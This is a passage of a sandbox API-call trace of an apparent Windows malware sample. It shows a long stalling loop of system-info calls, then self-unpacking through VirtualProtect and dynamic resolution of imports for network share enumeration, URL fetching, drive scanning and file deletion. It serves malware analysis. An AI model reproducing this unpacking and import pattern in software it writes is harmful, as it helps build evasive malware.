idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.896] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.896] GetTickCount () returned 0x17fe8 [0026.896] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.896] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.896] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.896] GetTickCount () returned 0x17fe8 [0026.896] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.896] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.896] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.897] GetTickCount () returned 0x17fe8 [0026.897] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.897] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.897] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.897] GetTickCount () returned 0x17fe8 [0026.897] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.897] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.897] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.897] GetTickCount () returned 0x17fe8 [0026.897] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.897] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.897] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.897] GetTickCount () returned 0x17fe8 [0026.897] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.897] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.897] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.897] GetTickCount () returned 0x17fe8 [0026.897] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.897] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.897] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.898] GetTickCount () returned 0x17fe8 [0026.898] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.898] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.898] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.898] GetTickCount () returned 0x17fe8 [0026.898] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.898] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.898] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.898] GetTickCount () returned 0x17fe8 [0026.898] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.898] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.898] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.898] GetTickCount () returned 0x17fe8 [0026.898] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.898] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.898] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.898] GetTickCount () returned 0x17fe8 [0026.898] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.900] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.900] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.900] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.900] GetTickCount () returned 0x17ff8 [0026.901] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.901] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.901] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.901] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.901] GetTickCount () returned 0x17ff8 [0026.901] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.901] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.901] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.901] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.901] GetTickCount () returned 0x17ff8 [0026.901] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.901] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.901] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.901] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.901] GetTickCount () returned 0x17ff8 [0026.901] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.901] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.901] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.901] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.901] GetTickCount () returned 0x17ff8 [0026.901] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.901] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.901] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.901] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.901] GetTickCount () returned 0x17ff8 [0026.901] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.902] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.902] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.902] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.902] GetTickCount () returned 0x17ff8 [0026.902] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.902] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.902] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.902] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.902] GetTickCount () returned 0x17ff8 [0026.902] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.902] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.902] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.902] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0029.028] LocalAlloc (uFlags=0x0, uBytes=0x4690c) returned 0x273fd0 [0029.042] LocalAlloc (uFlags=0x0, uBytes=0x4690c) returned 0x2ba8e8 [0029.048] VirtualProtect (in: lpAddress=0x2ba8e8, dwSize=0x34ec9, flNewProtect=0x40, lpflOldProtect=0x18f3f0 | out: lpflOldProtect=0x18f3f0*=0x4) returned 1 [0029.072] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0029.072] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0029.072] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0029.072] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0029.072] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0029.072] GetProcAddress (hModule=0x76c20000, lpProcName="Module32First") returned 0x76cb5cd9 [0029.072] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0029.073] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x58 [0029.075] Module32First (hSnapshot=0x58, lpme=0x18f174) returned 1 [0029.115] CloseHandle (hObject=0x58) returned 1 [0029.117] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0029.117] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0029.117] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0029.117] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0029.117] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0029.117] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0029.117] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0029.118] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0029.118] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0029.118] SetErrorMode (uMode=0x400) returned 0x0 [0029.118] SetErrorMode (uMode=0x0) returned 0x400 [0029.118] GetVersionExA (in: lpVersionInformation=0x18e2f8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e2f8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0029.118] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x1be0000 [0029.124] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18f380 | out: lpflOldProtect=0x18f380*=0x2) returned 1 [0029.157] VirtualFree (lpAddress=0x1be0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0029.159] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0029.159] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0029.159] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0029.159] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0029.159] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0029.159] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0029.159] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b50000 [0029.248] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0029.248] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0029.248] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0029.248] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0032.101] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0032.101] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0032.102] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0032.102] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0032.102] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0032.102] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0032.102] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0032.102] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74b10000 [0032.275] GetProcAddress (hModule=0x74b10000, lpProcName="timeGetTime") returned 0x74b126e0 [0032.275] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0032.275] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0032.275] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0032.275] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0032.275] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0032.275] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0032.275] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0032.275] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0032.276] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0032.276] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0032.277] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0032.278] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0032.279] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0032.280] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0032.280] GetProcAddress 